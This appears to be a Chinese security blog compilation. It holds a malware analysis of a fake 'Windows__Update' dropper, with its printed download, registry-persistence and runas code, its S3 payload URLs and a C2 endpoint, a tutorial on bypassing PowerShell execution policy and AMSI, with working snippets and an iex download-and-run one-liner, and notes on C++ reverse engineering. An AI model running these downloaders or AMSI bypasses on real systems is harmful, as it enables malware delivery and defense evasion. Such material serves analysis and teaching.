
handler sample

starter样本为C:\Program Files (x86)\DB Browser for SQLite\Fabyshamyne.exe

handler样本会调用windows updater样本，也就是updater样本

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

// Class4
// Token: 0x0600000C RID: 12 RVA: 0x00002874 File Offset: 0x00000A74
[STAThread]
private static void Main()
{
	try
	{
		string string_ = "LK2zlxjoHgSvPDPzD/qbov81CGp3Bi70VrPYVKti99GC/u1I1h5UUXgPadFJq3Y7TASY0TYW93yZdrHvTUoCai5Ui2oS9f2dz8QRzaQiAXg=";
		string string_2 = "FxA/rmRZZ6Y4L9w5VHSRiBcH8zbKDGf/aidAUz74ZE422DhHo95R/gCXtBy7gwKqKy5Hf/Wt8RK2fLMOEq5Natt1mf3GX1zVWHH1G4KsglU=";
		Console.WriteLine(Class3.smethod_1(string_));
		Console.WriteLine(Class3.smethod_1(string_2));
		Class4.smethod_0();
		string directoryName = Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location);
		Class5.smethod_0("starter", Assembly.GetExecutingAssembly().Location);
		string text = Path.Combine(directoryName, "Windows__Update.exe");
		text = Class5.smethod_0("setter", text);
		if (!Class2.smethod_0(Class3.smethod_1(string_), text))
		{
			Class2.smethod_0(Class3.smethod_1(string_2), text);
		}
		Class1.smethod_0(text + ".config");
		Class2.smethod_1(text, null);
	}
	catch (Exception)
	{
	}
}

编写解密函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109

using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;

namespace Application
{
    class Program
    {
        static void decrypt(string enc)
        {
            enc.Replace(" ", "+");

            RijndaelManaged rijndaelManaged = new RijndaelManaged();
            rijndaelManaged.Padding = PaddingMode.Zeros;
            rijndaelManaged.Mode = CipherMode.CBC;
            rijndaelManaged.KeySize = 256;
            rijndaelManaged.BlockSize = 256;
            byte[] rgbKey = Convert.FromBase64String("qFHOogTyxI+U+0mWctzFngMWGgWUj5BB8bT2UlmnG5k=");
            byte[] rgbIV = Convert.FromBase64String("v9WVEt44bKrmHGpayCh40DodYqxlcDTF9lGIduUh0Zw=");
            ICryptoTransform transform = rijndaelManaged.CreateDecryptor(rgbKey, rgbIV);
            byte[] array = Convert.FromBase64String(enc);
            byte[] array2 = new byte[array.Length];
            new CryptoStream(new MemoryStream(array), transform, CryptoStreamMode.Read).Read(array2, 0, array2.Length);
            byte[] tt = new byte[array2.Length];
            for (int i = 0; i < array2.Length; i++)
            {
                Console.Write(Convert.ToChar(array2[i]));
            }
            Console.WriteLine();

        }

        static string handler_decrypt(string string_0)
        {
            byte[] sourceArray = SHA256.Create().ComputeHash(Encoding.ASCII.GetBytes("b36LzRXR9X6Z"));
            byte[] iv = new byte[]
            {
            1,
            3,
            0,
            7,
            6,
            4,
            4,
            6,
            5,
            1,
            2,
            4,
            3,
            2,
            0,
            5
            };
            Aes aes = Aes.Create();
            aes.Mode = CipherMode.CBC;
            byte[] array = new byte[32];
            Array.Copy(sourceArray, 0, array, 0, 32);
            aes.Key = array;
            aes.IV = iv;
            MemoryStream memoryStream = new MemoryStream();
            ICryptoTransform transform = aes.CreateDecryptor();
            CryptoStream cryptoStream = new CryptoStream(memoryStream, transform, CryptoStreamMode.Write);
            string result = string.Empty;
            try
            {
                byte[] array2 = Convert.FromBase64String(string_0);
                cryptoStream.Write(array2, 0, array2.Length);
                cryptoStream.FlushFinalBlock();
                byte[] array3 = memoryStream.ToArray();
                result = Encoding.ASCII.GetString(array3, 0, array3.Length);
            }
            finally
            {
                memoryStream.Close();
                cryptoStream.Close();
            }
            return result;
        }
        static void Main(string[] args)
        {
            /*  string string_0 = "MlvMhaZlrG9HII6YGgWP7fLHhxJFm7CsGEGYUPnVxaqbS8M0xulN/0dry88yk7Go/SYljnhYGmowpBM53eqhwULf7e6ejmujjiJ/PlSAMKKJemvpV5qPR+OFC2ocC4V2";
              string string_1 = "MlvMhaZlrG9HII6YGgWP7fLHhxJFm7CsGEGYUPnVxapINYR+4YYSQXcK9aGKmGa19Tjeb054JIvz272ECLlxz8qq8ZkO5Xvo5ppqN3a/C7Kqr+ysYsk7AZJz8eVtEGLq";
              string string_2 = "Xz7eEYZ56pbTApLdtuwVh/vYezWw9MsOm0DHpIfHljMLotvx58kngmMzek0V31v9gEQKx9TAi7EZRl/nRx2kxU24PS9x8J9Plugw7higuJWDa7HRkZLrFM4e8QqST9Pn";
              string string_3 = "Xz7eEYZ56pbTApLdtuwVh/vYezWw9MsOm0DHpIfHljOACnaBf8S8JxP0eqMek5Tg9uh3iycT/umPhbpKqGQsHQ==";
              //string_0.Replace(" ", "+");
              Console.WriteLine("cors");
              decrypt(string_0);
              Console.WriteLine("reporters");

              decrypt(string_1);
              Console.WriteLine("setter");

              decrypt(string_2);
              Console.WriteLine("starter");

              decrypt(string_3);
            */
            string handler_enc_1 = "LK2zlxjoHgSvPDPzD/qbov81CGp3Bi70VrPYVKti99GC/u1I1h5UUXgPadFJq3Y7TASY0TYW93yZdrHvTUoCai5Ui2oS9f2dz8QRzaQiAXg=";
            string handler_enc_2 = "FxA/rmRZZ6Y4L9w5VHSRiBcH8zbKDGf/aidAUz74ZE422DhHo95R/gCXtBy7gwKqKy5Hf/Wt8RK2fLMOEq5Natt1mf3GX1zVWHH1G4KsglU=";

            string out_1 = handler_decrypt(handler_enc_1);
            Console.WriteLine(out_1);
            string out_2 = handler_decrypt(handler_enc_2);
            Console.WriteLine(out_2);
        }
    }
}

涉及到两个域名, 两个都挂了

1
2

https://uchiha.s3.pl-waw.scw.cloud/madara/rec-ggqbmb8yyq32mkm8.exe
https://senju.s3.pl-waw.scw.cloud/tobirama/rec-46s6vg7zcjfe8ug4.exe

然后class4.smethod_0函数没一秒访问一次google.com

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

private static void smethod_0()
	{
		while (!Class4.smethod_1())
		{
			Thread.Sleep(1000);
		}
	}

	// Token: 0x0600000E RID: 14 RVA: 0x0000292C File Offset: 0x00000B2C
	private static bool smethod_1()
	{
		bool result;
		try
		{
			Ping ping = new Ping();
			string hostNameOrAddress = "google.com";
			byte[] buffer = new byte[32];
			PingOptions options = new PingOptions();
			result = (ping.Send(hostNameOrAddress, 1000, buffer, options).Status == IPStatus.Success);
		}
		catch (Exception)
		{
			result = false;
		}
		return result;
	}

然后去注册表里找starter键经过解密后得到starter的路径，也就是C:\Program Files (x86)\DB Browser for SQLite\Fabyshamyne.exe.然后以同样的方式寻找setter，也就是C:\Program Files (x86)\DB Browser for SQLite\Windows__Update.exe

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

internal static string smethod_0(string string_2, string string_3)
	{
		string result;
		try
		{
			RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Recovery", true);
			if (registryKey != null)
			{
				string text = (string)registryKey.GetValue(string_2);
				if (!string.IsNullOrEmpty(text))
				{
					text = Class5.smethod_2(text);
					registryKey.Close();
					if (File.Exists(text))
					{
						return text;
					}
				}
			}
			registryKey = Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Recovery");
			registryKey.SetValue(string_2, Class5.smethod_1(string_3));
			result = string_3;
		}
		catch (Exception)
		{
			result = string_3;
		}
		return result;
	}

得到路径后，会发起网络行为去访问之前得到的两个域名。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

internal static bool smethod_0(string string_0, string string_1)
	{
		ServicePointManager.ServerCertificateValidationCallback = ((object <p0>, X509Certificate <p1>, X509Chain <p2>, SslPolicyErrors <p3>) => true);
		bool result;
		try
		{
			ServicePointManager.SecurityProtocol = (SecurityProtocolType)4032;
			using (WebClient webClient = new WebClient())
			{
				webClient.Headers.Add("Content-Type", "application/octet-stream");
				webClient.Headers.Add("user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36;");
				webClient.DownloadFile(string_0, string_1);
			}
			result = true;
...

再写入setters的config

The runtime uses legacy CAS policy.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40

internal static void smethod_0(string string_0)
	{
		string contents = string.Join(Environment.NewLine, new string[]
		{
			"<?xml version=\"1.0\" encoding=\"utf-8\" ?>",
			"<configuration>",
			"  <startup useLegacyV2RuntimeActivationPolicy=\"true\">",
			"    <supportedRuntime version=\"v2.0.50727\"/>",
			"    <!-- ",
			"    <supportedRuntime version=\"v3.5\"/>  \"The .NET Framework version 3.0 and 3.5 use version 2.0.50727 of the CLR.\"",
			"    -->",
			"    <supportedRuntime version=\"v4.0\" sku =\".NETFramework,Version=v4.0,Profile=Client\" />",
			"    <supportedRuntime version=\"v4.0\" sku =\".NETFramework,Version=v4.0\" />",
			"    <supportedRuntime version=\"v4.0\" sku =\".NETFramework,Version=v4.0.1,Profile=Client\" />",
			"    <supportedRuntime version=\"v4.0\" sku =\".NETFramework,Version=v4.0.1\" />",
			"    <supportedRuntime version=\"v4.0\" sku =\".NETFramework,Version=v4.0.2,Profile=Client\" />",
			"    <supportedRuntime version=\"v4.0\" sku =\".NETFramework,Version=v4.0.2\" />",
			"    <supportedRuntime version=\"v4.0\" sku =\".NETFramework,Version=v4.0.3,Profile=Client\" />",
			"    <supportedRuntime version=\"v4.0\" sku =\".NETFramework,Version=v4.0.3\" />",
			"    <supportedRuntime version=\"v4.0\" sku =\".NETFramework,Version=v4.5\" />",
			"    <supportedRuntime version=\"v4.0\" sku =\".NETFramework,Version=v4.5.1\" />",
			"    <supportedRuntime version=\"v4.0\" sku =\".NETFramework,Version=v4.5.2\" />",
			"    <supportedRuntime version=\"v4.0\" sku =\".NETFramework,Version=v4.6\" />",
			"    <supportedRuntime version=\"v4.0\" sku =\".NETFramework,Version=v4.6.1\" />",
			"    <supportedRuntime version=\"v4.0\" sku =\".NETFramework,Version=v4.6.2\" />",
			"    <supportedRuntime version=\"v4.0\" sku =\".NETFramework,Version=v4.7\" />",
			"    <supportedRuntime version=\"v4.0\" sku =\".NETFramework,Version=v4.7.1\" />",
			"  </startup>",
			"  <runtime>",
			"    <NetFx40_LegacySecurityPolicy enabled=\"true\"/>",
			"  </runtime>",
			"  <system.net>",
			"    <settings>",
			"      <httpWebRequest useUnsafeHeaderParsing = \"true\" />",
			"    </settings>",
			"  </system.net>",
			"</configuration>"
		});
		File.WriteAllText(string_0, contents);
	}

设置processInfo并启动进程windows__updater.exe(setter)

UseShellExecute = true

• 调用的是 ShellExecute

UseShellExecute = false

• 调用的是 CreateProcess

Verb = “runas”

• 表示进程以管理员权限启动

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

internal static bool smethod_1(string string_0, string string_1)
	{
		ProcessStartInfo processStartInfo;
		if (string.IsNullOrEmpty(string_1))
		{
			processStartInfo = new ProcessStartInfo(string_0);
		}
		else
		{
			processStartInfo = new ProcessStartInfo(string_0, string_1);
		}
		processStartInfo.UseShellExecute = true;
		processStartInfo.Verb = "runas";
		bool result;
		try
		{
			if (Process.Start(processStartInfo) == null)
			{
				result = false;
			}
			else
...

starter sample

C:\Program Files (x86)\DB Browser for SQLite\Fabyshamyne.exe

setter sample

C:\Program Files (x86)\DB Browser for SQLite\Windows__Update.exe

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55

// Class12
// Token: 0x06000059 RID: 89 RVA: 0x00003CEC File Offset: 0x00001EEC
[STAThread]
private static void Main(string[] args)
{
	try
	{
		Class12.smethod_0();
		Class13.smethod_0(); //设置useUnsafeHeaderParsing反射
		DateTime creationTime = File.GetCreationTime(Assembly.GetEntryAssembly().Location);
		try
		{
			string[] array = Class5.smethod_0(); //获取HKEY_CURRENT_USER\SOFTWARE\Microsoft\Etsy
			if (array == null || array.Length < 1)
			{
				throw new Exception("key mech mrigel raw");
			}
			Class7.smethod_7(array[0]);
			Class7.smethod_5(array[5]);
			Class7.smethod_3(array[2]);
			Class7.smethod_1(array[1]);
			Class7.object_0 = array[4];
			Track_tLBUlXiz3LTPMOpd track_tLBUlXiz3LTPMOpd = new Track_tLBUlXiz3LTPMOpd(string.Concat(new string[]
			{
				"Recover",
				Class7.smethod_2(),
				"_",
				Class7.smethod_6(),
				"_",
				Class7.smethod_0()
			}), "0", Class7.smethod_4());
			Class11.smethod_2();
			bool flag;
			do
			{
				flag = false;
				string value = Class9.smethod_0(creationTime, (int)(DateTime.Now - creationTime).TotalDays, Class7.smethod_4(), Class7.smethod_6(), Class7.smethod_0());
				if (!string.IsNullOrEmpty(value))
				{
					flag = Convert.ToBoolean(value);
				}
				Class6.smethod_0(flag, (int)(DateTime.Now - creationTime).TotalDays);
				Thread.Sleep((int)TimeSpan.FromHours(1.0).TotalMilliseconds);
			}
			while (!flag);
			track_tLBUlXiz3LTPMOpd.sendtrack("CheckTime", "succed");
		}
		catch (Exception)
		{
		}
	}
	catch (Exception)
	{
	}
}

获取key值并返回到array

ZiUe+wge1VAJ72v/pDJqhJiZEXHqRrfqwloqvO+GJXjcTH+kshpDQsoK+Q50NF4foeTa5fED4oRGjzZ3HaCX4Q==

主代码逻辑到

1
2
3
4
5
6
7
8
9
10
11
12
13

bool flag;
			do
			{
				flag = false;
				string value = Class9.smethod_0(creationTime, (int)(DateTime.Now - creationTime).TotalDays, Class7.smethod_4(), Class7.smethod_6(), Class7.smethod_0());
				if (!string.IsNullOrEmpty(value))
				{
					flag = Convert.ToBoolean(value);
				}
				Class6.smethod_0(flag, (int)(DateTime.Now - creationTime).TotalDays);
				Thread.Sleep((int)TimeSpan.FromHours(1.0).TotalMilliseconds);
			}
			while (!flag);

Class9.smethod_0函数，post访问https://connectini.net/Series/za3ma_za3ma.php（存活）

传入参数nchallahTe5dem=

什么是PowerShell执行策略？

PowerShell execution policy 是用来决定哪些类型的PowerShell脚本可以在系统中运行。默认情况下，它是“Restricted”(限制)的。然而，这个设置从来没有算是一种安全控制。相反，它会阻碍管理员操作。这就是为什么我们有这么多绕过它的方法。

为什么我们要绕过执行政策？

因为人们希望使用脚本实现自动化操作，powershell为什么受到管理员、渗透测试人员、黑客的青睐，原因如下：

1. Windows原生支持
2. 能够调用Windows API
3. 能够运行命令而无需写入磁盘（可直接加载至内存，无文件落地）
4. 能够避免被反病毒工具检测
5. 大多数应用程序白名单解决方案已将其标记为“受信任”
6. 一种用于编写许多开源Pentest工具包的媒介

如何查看执行策略

在能够使用所有完美功能的PowerShell之前，攻击者可以绕过“Restricted”(限制)execution policy。你可以通过PowerShell命令“executionpolicy“看看当前的配置。如果你第一次看它的设置可能设置为“Restricted”(限制)，如下图所示：

Get-ExecutionPolicy获取策略

Get-ExecutionPolicy -List | Format-Table -AutoSize

Set-ExecutionPolicy设置策略

1

Set-ExecutionPolicy UnRestricted

绕过执行策略

执行文件

type + 管道符

1
2

PS C:\Users\scr1pt\Desktop> TYPE .\msg.ps1 | PowerShell.exe -noprofile -
fuck you bypass

iex(New-Object Net.WebClient).DownloadString

1

powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/nullbind/Powershellery/master/Brainstorming/runme.ps1')"

-ExecutionPolicy Bypass

1
2

PS C:\Users\scr1pt\Desktop> PowerShell.exe -ExecutionPolicy Bypass -File .\msg.ps1
fuck you bypass

-ExecutionPolicy Unrestricted

这类似于bypass标志。但是，当使用该标志时，微软声明它加载所有配置文件并运行所有脚本。如果运行从Internet下载的无签名脚本，则在运行之前会提示您获得许可。这种技术不会导致配置更改或需要写入磁盘。

1
2

PS C:\Users\scr1pt\Desktop> PowerShell.exe -ExecutionPolicy UnRestricted -File .\msg.ps1
fuck you bypass

-ExecutionPolicy Un-signed

执行命令

powershell -command -c

1
2

Powershell -command "Write-Host 'My voice is my passport, verify me.'"
Powershell -c "Write-Host 'My voice is my passport, verify me.'"

write-host

1
2

PS C:\Users\scr1pt\Desktop\PowerSploit-master\Privesc> Write-Host "My voice is my passport, verify me." | PowerShell.exe -noprofile -
My voice is my passport, verify me.

Get-Content

1
2

PS C:\Users\scr1pt\Desktop> Get-Content .\msg.ps1 | PowerShell.exe -noprofile -
fuck you bypass

powershell -Enc

1
2
3
4
5
6
7

$command = "Write-Host 'My voice is my passport, verify me.'"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
powershell.exe -EncodedCommand $encodedCommand

PS C:\Users\scr1pt\Desktop> powershell.exe -Enc VwByAGkAdABlAC0ASABvAHMAdAAgACcATQB5ACAAdgBvAGkAYwBlACAAaQBzACAAbQB5ACAAcABhAHMAcwBwAG8AcgB0ACwAIAB2AGUAcgBpAGYAeQAgAG0AZQAuACcA
My voice is my passport, verify me.

Invoke-command -scriptblock

1
2

PS C:\Users\scr1pt\Desktop> invoke-command -scriptblock {echo "fuck you bypass"}
fuck you bypass

Get-Content

1
2

PS C:\Users\scr1pt\Desktop> Get-Content .\msg.ps1 | Invoke-Expression
fuck you bypass

策略失效

Disable ExecutionPolicy

这是我在https://www.nivot.org上看到的非常有创意的一个。下面的功能可以通过交互式PowerShell控制台或使用“命令”开关来执行。一旦函数被调用，它将用null替换出“AuthorizationManager”。因此，在会话的剩余时间内，执行策略基本上被设置为无限制。这种技术不会导致持久的配置更改或需要写入磁盘。但是，更改是否适用于会议期间。

1
2

function Disable-ExecutionPolicy {($ctx = $executioncontext.gettype().getfield("_context","nonpublic,instance").getvalue( $executioncontext)).gettype().getfield("_authorizationManager","nonpublic,instance").setvalue($ctx, (new-object System.Management.Automation.AuthorizationManager "Microsoft.PowerShell"))}
Disable-ExecutionPolicy  .runme.ps1

ExcutionPolicy for the CurrentUser

为当前用户设置策略，不需要管理员权限，可以直接执行脚本

1

Set-Executionpolicy -Scope CurrentUser bypass

设置完成后会发现注册表中当前用户多了一项ExecutionPolicy

Set-ExecutionPolicy Scope Process

正如我们在介绍中看到的，执行策略可以应用于许多级别。这包括您可以控制的过程。使用此技术，可以在会话期间将执行策略设置为无限制。此外，它不会导致配置更改，也不需要向磁盘写入数据。我最初是在r007break博客上发现这种技术的。

1

Set-ExecutionPolicy Bypass -Scope Process

设置注册表

1

reg query HKCU\Software\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell

结构如下

powershell免杀

AMSI绕过

Antimalware Scan Interface(AMSI)为反恶意软件扫描接口。

Windows 反恶意软件扫描接口 (AMSI) 是一种通用接口标准，允许您的应用程序和服务与机器上存在的任何反恶意软件产品集成。AMSI 为您的最终用户及其数据、应用程序和工作负载提供增强的恶意软件保护。AMSI 与反恶意软件供应商无关；它旨在支持当今可以集成到应用程序中的反恶意软件产品提供的最常见的恶意软件扫描和保护技术。它支持允许文件和内存或流扫描、内容源 URL/IP 信誉检查和其他技术的调用结构。AMSI 还支持会话的概念，以便反恶意软件供应商可以关联不同的扫描请求。例如，可以将恶意负载的不同片段关联起来做出更明智的决定，而仅通过孤立地查看这些片段就很难做出决定。

在Windows Server 2016和Win10上已经默认安装并启用。他的本体是一个DLL文件，存在于 c:windows\system32\amsi.dll。

它提供了通用的标准接口（COM接口、Win32 API）其中的COM接口，是为杀软供应商提供的，方便杀软厂商接入自身针对恶意软件的识别能力。有不少安全厂商已经接入了AMSI的接口。

官方架构图

目前AMSI功能已集成到Windows 10的这些组件中

1. 用户帐户控制或 UAC（EXE、COM、MSI 或 ActiveX 安装的提升）
2. PowerShell（脚本、交互使用和动态代码评估）
3. Windows 脚本宿主（wscript.exe 和 cscript.exe）
4. JavaScript 和 VBScript
5. Office VBA 宏

既然本质上是一个dll，那么就可以看下他的导出函数。

当执行一些敏感字符串时，会发现powershell拒绝执行并报毒。

火绒剑查看powershell模块会发现加载了amsi.dll

绕过方法

关闭System.Management.Automation.AmsiUtils

replace

1
2
3
4
5
6
7

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

$a =[Ref].Assembly.GetType('System.Management.Automation.AmsiUti'+'ls') 
$h="4456625220575263174452554847" 
$s =[string](0..13|%{[char][int](53+($h).substring(($_*2),2))})-replace " " 
$b =$a.GetField($s,'NonPublic,Static')
$b.SetValue($null,$true)

dll劫持

再打开powershell进程时，会加载amsi进程，那么自然的就想到可以通过dll劫持，或者替换等方式来bypass。

• 进程对应的应用程序所在目录
• 系统目录（通过 GetSystemDirectory 获取）
• 16位系统目录
• Windows目录（通过 GetWindowsDirectory 获取）
• 当前目录
• PATH环境变量中的各个目录

powershell.exe的路径为C:\Windows\System32\WindowsPowerShell\v1.0，只需要在同目录下置放一个名为amsi.dll的模块。

但是并不是随便一个模块都行，由于已经开启了amsi，如果错误加载会引起powershell崩溃，那么我们也无法执行命令。这里就要导出本来amsi.dll有的导出函数。

导出函数如下

降低powershell版本

将powershell版本降到2.0，就能够规避amsi，因为在低版本的powershell中还没有加入amsi。那么就需要知道目标机器的powershell版本。

1

$PSVersionTable

在 Windows 7 和 Windows 服务器 2008 R2 以上版本，PowerShell 2.0 集成在所有 Windows 版本中。

在普通用户权限下，可以通过如下命令经行检查：

管理员权限可以使用如下命令：

这里虚拟机是没有这个环境的，看了下本机有2.0版本，这里就换下本机试一下，是能够成功的执行的。

混淆

拼接

1
2

"amsiutils"
"amsiuti"+"ls"

关闭windows defender

关闭Windows Defender 也可以使系统自带的AMSI检测无效化。

利用反射将内存中AmsiScanBuffer方法的检测长度置为0

把AmsiScanBuffer函数前三个字节修改为如下，即可绕过

1
2

xor rax, rax
ret

AMSI检测调用过程为：

1. AmsiInitialize

2. AMSI API.AmsiOpenSession

3. 打开sessionAmsiScanBuffer

   1 2 3 4 5 6 7 8

   HRESULT AmsiScanBuffer( [in] HAMSICONTEXT amsiContext, [in] PVOID buffer, [in] ULONG length, [in] LPCWSTR contentName, [in, optional] HAMSISESSION amsiSession, [out] AMSI_RESULT *result );

4. scans the user-input.AmsiCloseSession

5. 关闭sessionAmsiUninitialize

6. 删除AMSI API

脚本如下，但是会被windows defender检测

https://gist.githubusercontent.com/shantanu561993/6483e524dc225a188de04465c8512909/raw/db219421ea911b820e9a484754f03a26fbfb9c27/AMSI_bypass_Reflection.ps1

hook AmsiScanBuffer

我们知道字符串是否敏感是由amsi.dll中的AmsiScanBuffer函数来进行判断的，而内存补丁是一种较为便捷的技术，我们可以对这个函数进行修补，使其丧失判断能力，这样我们就能自由执行任意powershell脚本，当然前提是脚本文件没有被杀软干掉。

AmsiScanBuffer最后一个参数也就是返回值为AMSI_RESULT

1
2
3
4
5
6
7

typedef enum AMSI_RESULT {
    AMSI_RESULT_CLEAN, 
    AMSI_RESULT_NOT_DETECTED,
    AMSI_RESULT_BLOCKED_BY_ADMIN_START,
    AMSI_RESULT_BLOCKED_BY_ADMIN_END,
    AMSI_RESULT_DETECTED
} ;

方法应该挺多的，可以注入一个dll到powershell这样去hook或者什么操作，也可以直接起一个powershell进程然后获取AmsiScanBuffer的函数地址，让他直接函数返回啊这些操作，这个方法的重点应该是免杀性。

cs powersehll

1

第二层

创建一个ProcessStartInfo结构体，填入进程名、参数、窗口隐藏

1

第三层，base64 + gunzip

1

1. VirtualAlloc
2. CreateThread
3. WaitForSingleObject

得到一段cs的shellcode

http://www.ctfiot.com/7487.html

好久没有发博客了。

还是发一些吧，也可以激励一下自己。

Reference:

https://f002.backblazeb2.com/file/sec-news-backup/files/writeup/www.cmlab.csie.ntu.edu.tw/__cathyp_eBooks_C___Reverse_20c___pdf/index.pdf

https://www.blackhat.com/presentations/bh-dc-07/Sabanal_Yason/Paper/bh-dc-07-Sabanal_Yason-WP.pdf

judge c++

As a natural way to start, the reverser must first determine if a specific target is indeed a compiled C++ binary and is using C++ constructs. Below are some pertinent indications that the binary being analyzed is a C++ binary and is using C++ constructs.

1. Heavy use of ECX(this ptr),One of the first things that a reverser may see is the heavy use of ecx (which is used as the this pointer). One place the reverser may see it is that it is being assigned a value just before a function is about to be called:

Another place is if a function is using ecx without first initializing it, which suggests that this is a possible class member function:

calling convention

Calling Convention. Related to (1), Class member functions are called with the usual function parameters in the stack and with ecx pointing to the class’s object (i.e. this pointer.). Here is an example of a class instantxiation, in which the allocated class object (eax) will eventually be passed to ecx and then invocation of the constructor follows.

此外，reverser要注意到间接函数调用，这些调用更可能是虚拟函数；当然，如果不首先了解实际类或在调试器下运行代码，很难跟踪这些调用的去向。考虑以下虚拟函数调用示例：

在这种情况下，reverser必须首先知道ClassA的虚拟函数表（vftable）的位置，然后根据vftable中列出的函数列表确定函数的实际地址。

类实例结构

普通类

在我们深入之前我们应该熟悉类在内存中的结构布局

我们需要把padding增加到最后一个成员变量以确保size为4字节的倍数。

虚函数

here’s the class layout

请注意，在布局的开头添加了指向虚拟函数表的指针。此表按声明顺序包含虚拟函数的地址。Ex2类的虚拟函数表将像这样。

现在，如果一个类从另一个类继承呢？以下是当一个类从单个类（即单个继承）继承时会发生什么：

And the layout,我们可以看到存在两个var1在这个内存中。

如您所见，派生类的布局简单地附加到基类的布局中。在多次继承的情况下，情况如下：

如您所见，如果每个基类的实例数据将嵌入派生类的实例中，并且每个包含虚拟函数的基类将有自己的vftable。请注意，fist base class与当前对象共享vftable。当前对象的虚拟函数将附加到第一个基类虚拟函数列表的末尾

类识别

我们上面已经讨论了如何判断一个程序是不是用 C++写的，讨论了类的构造函数以及内存中类的实例的组织形式，这一节我们来讨论 C++的类在可执行文件 中的使用情况。我们先来讨论如何确定内存中哪些部分是类(或者称为对象)下 一节再来讨论如何确定类之间的关系以及类中的成员。

1. 识别构造函数和析构函数

   1. 全局对象。全局对象顾名思义就是那些被声明为全局变量的对象。这些对象的内存空间在编译时就已经被分配好了的， 它们位于可执行文件的数据段中。这些对象的构造函数是在这个程序启动以后，main调用之前被调用执行的，而它们的析构函数是在程序退出（exit）时被调用的。

      一般来说，如果我们发现一个函数调用时，传入的是this指针（一般是使用ecx寄存器）是指向一个全局变量的话，我们基本可以确定，这是一个全局变量，我们可以利用交叉引用找到该全局变量的构造函数和析构函数，如果该段代码位于entrypoint和main函数之间，那么很有可能这个为构造函数

      main函数

      1 2 3 4 5 6 7 8 9 10

      _main proc near argc= dword ptr 4 argv= dword ptr 8 envp= dword ptr 0Ch mov dword_403378, 3 xor eax, eax retn _main endp

      通过交叉引用可以找到两处，也就是构造函数和析构函数

      

      跟进构造函数,_atexit注册了程序终止的函数为析构函数

      

      运行到返回后发现程序位于entrypoint和main函数之间，属于编译器生成的代码，通过call _initterm函数调用了构造函数

      

   2. 局部对象。这些对象的作用域起始于该对象被声明的地方，结束于声明该对象的模块退出之时(比如函数结尾或者分支结束的地方，下面例子里就是在一个 if 语句块 结束的地方调用析构函数的)。局部对象在内存中是位于栈(stack)里的。 它们的构造函数在该对象声明的地方被调用，而在对象离开其作用域时调用 对象的析构函数。
      局部对象的构造函数还是比较容易识别的，如果你发现一个函数调用， 传递过去的 this 指针竟然是指向了栈中一个未被初始化过的变量的话，你基 本上可以确定这个函数是一个对象的构造函数，同时也就发现了一个对象。 析构函数一般则是与构造函数位于同一个模块(也就是声明该对象的模块) 的最后一个使用指向该对象的 this 指针的函数。

      

   3. 动态分配的对象，这种对象是通过new操作符动态创建的对象。实际上，new操作符会变成两个符号调用：一个new()函数的调用再接着一个构造函数的调用。new()函数是用来在堆中分配空间的（对象的大小通过参数传给new函数），然后把心分配的地址存在EAX寄存器返回出来。同样delete也会变成析构函数和free()函数。

      

2. 通过RTTI进行多态类识别（Run-Time-Type Information）

如果C++在编译的时候启用了RTTI功能，那么我们又会多一种识别类的方法。特别是对多态类（包含虚函数的类）。RTTI是C++中提供的一种在运行时确定对象类型的机制，在C++中一般时候typeid和dynamic_cast这两个操作符来实现这一机制。这两个操作符在实现时需要获得相关类的类名，类的层次等相关信息，在实际使用VC的时候，如果你用了以上两种操作符号但没有启用RTTI，编译器将会给你一个警告。在默认情况下MSVC6.0关闭了RTTI功能。而MSVC2005中默认开启了RTTI。

1. RTTICompleteObjectLocator

   这个结构体包含了两个指针，一个指向实际的类信息，另一个指向类的继承关系。

   Offset	Type	Name	Description
   0x00	DW	signature	Always 0 ？
   0x04	DW	offset	Offset of Vtable within the class
   0x08	DW	cdoffset	?
   0x0c	DW	pTypeDescription	Class Information
   0x10	DW	pClassHierarchyDescription	Class Hierarchy Information

   那么怎么找到这个结构体呢？我们只要找到虚函数表的上一个DWORD指向的即为RTTICompleteObjectLocator。

   

   这是RTTICompleteObjectLocator结构

   

2. TypeDescriptor

   位于RTTICompleteObjectLocator结构的第四个DWORD是一个指向本类的TypeDescriptor结构体的指针，TypeDescriptor这个结构体中记录了这个类的类名、

   Offset	Type	Name	Description
   0x00	DW	pVFTable	Always points to type_info’s vftable
   0x04	DW	spare	?
   0x08	SZ	name	Class Name

   

3. RTTIClassHierarchyDescriptor

   RTTIClassHierarchyDescriptor记录了类的继承信息、包括基类的数量以及一个RTTIBaseClassDescriptor数组，RTTIBaseClassDescriptor在下面详细讨论，RTTIBaseClassDescriptor最终将指向当前各个基类的TypeDescriptor。

